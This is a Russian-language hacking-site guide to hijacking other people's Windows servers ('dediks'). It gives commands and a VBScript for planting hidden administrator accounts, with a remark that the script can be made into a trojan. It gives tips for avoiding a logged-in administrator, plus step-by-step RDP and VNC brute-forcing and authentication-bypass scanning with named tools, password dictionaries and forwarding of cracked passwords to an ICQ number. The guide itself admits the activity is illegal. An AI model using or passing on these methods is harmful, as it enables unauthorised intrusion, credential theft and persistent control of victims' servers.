Зарег. на сайте Всего: 35071 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0 Из них Администраторов: 1 Модераторов: 2 Журналистов: 54 Обычных юзеров: 35013 Из них Парней: 34467 Девушек: 256
Что такое дедик? Дедик - слово, которое пошло от английского слова "dedicated", что с англиского значит выделенный. То есть Dedicated Server - выделенный сервер. Дедики, как их принято называть, на которых имеются довольно мощные сетевые интерфейсы, каналы и довольно не слабая аппаратная конфигурация служат для обработки данных, а также для хранения баз данных или любого другого материала находящегося на них для обслуживания персонала, фирмы или организации.
Как зайти не дедик? Подключиться к дедику можно с помошью встроеного в ОС windows утилиты: Подключение к удаленному рабочему столу. Пуск => Программы => Стандартные => Связь => Подключение к удаленному рабочему столу. Можно еще так: Пуск => Выполнить => mstsc. Еще одно утилита для подключение к дедику - это [BL4CK] VNC Viewer: Authentication Bypass. Просто запусти ее и вводи ip адрес дедика. Можно еще Радмином юзать дедик если он установлен на дедике.
Как создать нового пользователя? Нажмите Win-R, вводим cmd.exe, туда через Clipboard копируем следующие строки PHP код: net user имя пароль /add net localgroup Administrators имя /add net localgroup "Remote Desktop Users" имя /add net accounts /maxpwage:unlimited exit
На специфичных дедах типа Китая, Германии, Иордании, Австрии, Болгарии для определения групы Администраторов (куда нам надо добавится), используем команду net localgroup. Группы администраторов могут иметь имя "Администраторы", "Administradores", "Administrateur" и прочее. Альтернатива создание пользователя, локального администраторачерез VBsсriрt. Текст скопировать в текстовый файлик, переименовать текстовый файлик в *.vbs . Скрипт создает локального пользователя "LocalAdmin" с паролем "123456789
PHP код: Set objNetwork = CreateObject("WScript.Network") strComputer = objNetwork.ComputerName
Set colAccounts = GetObject("WinNT://" & strComputer & "") Set objUser = colAccounts.Create("user", "LocalAdmin") objUser.SetPassword "123456789" objUser.SetInfo
Set objGroup = GetObject("WinNT://" & strComputer & "/Администраторы,group") Set objUser = GetObject("WinNT://" & strComputer & "/LocalAdmin,user") objGroup.Add(objUser.ADsPath)
Преимущество скрипта - его можно превратить в трой, создающий юзера. Утилит превращения vbs в exe множество - за ними в Гугл.
Как проверить, сидит ли админ за сервером? Проверить можно так: в Диспетчере задач на последней вкладке смотрим, кто за компом, есть ли сессия Console. Если нет - гуд, иначе - смотрим все задачи, если там есть logon.scr - значит сейчас активна заставка у админа, (часто они не отключают заставку), если нет её - знач надо быть оч акrуратным, сессия мб активна. Еще можно в tsadmin посмотреть, когда кто загружен.
Как залить файлы на дедик? 1. Залей на ФТП мазилу. На какой FTP можно залить файлы? - _http://www.pochta.ru - что-то вроде этого получается ftp : //user.nm.ru @ ftp2.nm.ru/ вводишь свой пароль и вуаля. 2. Когда через mstsc подключаешься,в опциях можно подключить свой винт, кардинально - но скопируешь что надо, потом заливай туда портабельную оперу или лисицу и сиди через них, хотя это когда тупо запрещен доступ в ие, если дело хуже - если нет корпоративного проксика - заливай софт, какой думаешь юзать и юзай, если есть проксик - забей или ищи способ узнать проксики, хотя такой запущенный способ пару раз видел. П.С. Винт будет виден всем, кто за компом будет, так что скопировал/отключился, вырубил винт. Минимум времени чтобы. Сетевой диск вариант, но надо пояс просчитывать и ночи ждать на деде. Eсли ссылки не открываются то ты в поставь галочку Дисковые устройства в свойствах подключения к удаленному рабочему столу на вкладке Локальные ресурсы, тогда на дедике в моем компьютере появятся твои диски. (Mstsc -- параметры --- локальные рессурсы -- дисковые устройства)
Действовать нужно быстро, иначе спалят ваши похождения на деде
Безопасно ли заходить на дед? Ответ прост - вы подключаетесь в чужому компьютеру. Это незаконно. Просто используйте proxy, socks (не через браузер, а через систему), а лучше vpn.
Как брутить дедики?
Что нужно для брута?
1. Нужен сканер VNC_Byauth 2. Нужен tss-brute.exe, который идёт вместе с брутом от спайдера, http://ВНИМАНИЕ! Тут должна была быть ссылка на depositfiles.com, скорее всего это вирус или троян!/ru/files/7043875 3. Нужен скрипт на PHP для генерации BAT файлов 4. Прога от RankroR'a для выдирания гудов
2. После того как сканер просканил смотрим его лог в блокноте , удаляем из списка :3389 порт оставив просто список IP адресов.
3. Ставим мой скрипт на хост или на localhost и вставляем туда наши айпишнеги и другие данные.
4. После того как скрипт выполнил своё дело создаём в папке с нашим tss-brute.exe , BAT файл и вставляем в него результат полученый после выполнения скрипта.
5. Заходим в файл smclient.ini который шол вместе с tss-brute.exe и вставляем туда такой конфиг
6. Создаём в той же папке, где лежит наш BAT фаил, папку, которую вы вписывали в скрипте
7. После выполнения Брута, заходим в нашу папку(см п.6) и вставляем в него программу от Rankor'а. Создаём папку outfile и вней outfile.txt
8. Вписываем в программе success , если хоть один дед сбручен, программа вам покажет это, если что-то сбрутилось то смотри outfile.txt там вы увидите IP адресс деда и пароль.
9. Заходим в MSTSC (тобиш RDP) и проверяем наши деды.
Во-первых, запускаем ipscan. Что нам нужно? Нам нужно найти как можно больше машин с открытыми 139 и 3389 портами - но мы будем сканить на 3389, чтоб особо время не тратить. После нажатия на кнопку со стрелкой вниз, ставим scan ports и указываем 3389 порт. Далее идем в options-options..., выбираем количество потоков, обязательно ставим Display Only open ports.
Теперь вбиваем нужный диапазон и запускаем. Постепенно будут появляться нужные нам ip. Когда скан закончен, сохраняем отчет в текстовый файл. Это файл будет примерно такой:
PHP код: This file was generated by Angry IP Scanner Visit http://www.angryziber.com/ for the latest version
62.0.1.* 788 ms N/A 3389 62.0.1.* 767 ms N/A 3389 62.0.1.* 752 ms N/A 3389 62.0.2.** 851 ms CBL62-0-2-16.bb.netvision.net.il3389 62.0.2.** 812 ms CBL62-0-2-23.bb.netvision.net.il3389 62.0.2.** 843 ms CBL62-0-2-20.bb.netvision.net.il3389 62.0.2.** 848 ms CBL62-0-2-19.bb.netvision.net.il3389 Для ntscan нам же нужен список, где на каждой строчке написан просто один адрес. для этого можно использовать notepad+ или любой другой редактор/парсер/MS Excel.
Теперь настал через запустить и NTScan. Ставим отметку на HostFile, указываем наш список, указываем количество потоков, ping host before scan - желательно чтобы стояло, scan host opened port - я не ставлю, так как у нас уже есть список машин с открытым нужным нам портом.
Запускаем и ждем что что-нибудь хорошее сбрутится. При желании можно увеличить словарь, на который брутит NTScan, он находится в файле NT_pass.dic, я добавлял в основном численные значения, был результат - снимал пару раз на 1234567 и на 444.
Можно еще бота поставить на NTScan.txt - это своеобразный гуд, NTScan его дописывает при случае, поэтому вначале он не создается.
Угон дедиков спомощью Dedicate Spyder brute
В данной инструкции описан ещё один способ угона дедиков. Речь пойдёт о бруте админских учёток с помощью Dedicate Spyder brute. Итак, нам понадобятся:
1. Сам Dedicate Spyder brute, найти можно в интернете, введя запрос =)
2. Microsoft Simulated Terminal Server Client tool (он же roboclient) - Spyder brute основан на TSGrinder 2.03, поэтому этот пакет необходим ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip 3. Angry IP scanner 3.0 - сканер портов. Подойдёт и другой, но я остановил свой выбор на этом
Приступаем.
1. Берём Angry IP scanner и начинаем скан диапазонов IP на открытый порт 3389 - (RDP). Чем больше начекали айпишников с этим портом, тем нам же лучше!
2. Распаковываем наш Dedicate Spyder brute в какую-нибудь папочку. Находим в этой папочке файл list.txt и кидаем в него список наших насканенных ай-пи вида:
Далее, в pass.txt вписываем свой наборчик паролей. В dict.txt вписываем предпологаемые логины учётки. В файле options.ini можно прописать аську, на которую будут приходить пароли: UIN=0000000 - номер, с которого отправлять PASS=pass - пароль от этого номера UinSend=888888 - номер, на который будут приходить пароли. С настройками бурута закончили.
3. Microsoft Simulated Terminal Server Client tool - без этой софтины работать ничего не будет... Содержимое пакета нужно распаковать в system32, машины с которой идёт брут! (если пакет не установлен на деде, который будет в списке IP, то брутиться он не будет, к сожалению.. )
4. Теперь запускаем брут и жмём START! Он сам будет открывать окошки RDP и вбивать логины и пароли.
Минусы Dedicate Spyder brute в том, что работает он очень медленно и работает нестабильно на WinXp (лучше использовать его на dedicated server с Win2003 server)
Угон дедиков by Te$t
способ №1
Искать мы будем vnc-server т.е. Virtual Network Computing. Первое, что нам нужно это хороший VNC-сканер, я знаю 2 сканера: это PHP-сканер от Гемаглобина и RealVNC Bypass Authentication Scanner. Свой выбор я оставил за RealVNC Bypass Authentication Scanner, т.к. он прост в использовании и реально ищет по диапазонам, а нам это и нужно. Итак, скачиваем данный сканер, распаковываем его к примеру: X:\XXX\ где Х - буква вашего диска, а ХХХ - папка куда вы его распаковали. И запускаем из cmd.exe Пример: cd X:\XXX - переходим в папку со сканером Х:\XXX\VNC.exe - запускаем сканер где он нам выдаст следущую информацию:
Microsoft Windows XP [Версия 5.1.2600] (С) Корпорация Майкрософт, 1985-2001. X:\>VNC.exe
================================================[rev-0.0.1]== ========RealVNC <= 4.1.1 Bypass Authentication Scanner======= ============multi-threaded for Linux and Windows============= ================================================== ==[win32]== MAIN MENU ================================================== ===========
Все материалы размещенные на сайте пренадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Администрация ответственности за содержание материала не несет и убытки не возмещает.
По истечении 24 часов материал должен быть удален с вашего компьютера.
Незаконная реализация карается законами РФ и Украины: "Об авторском и смежном праве".При копировании материала, ссылка на сайт обязательна!
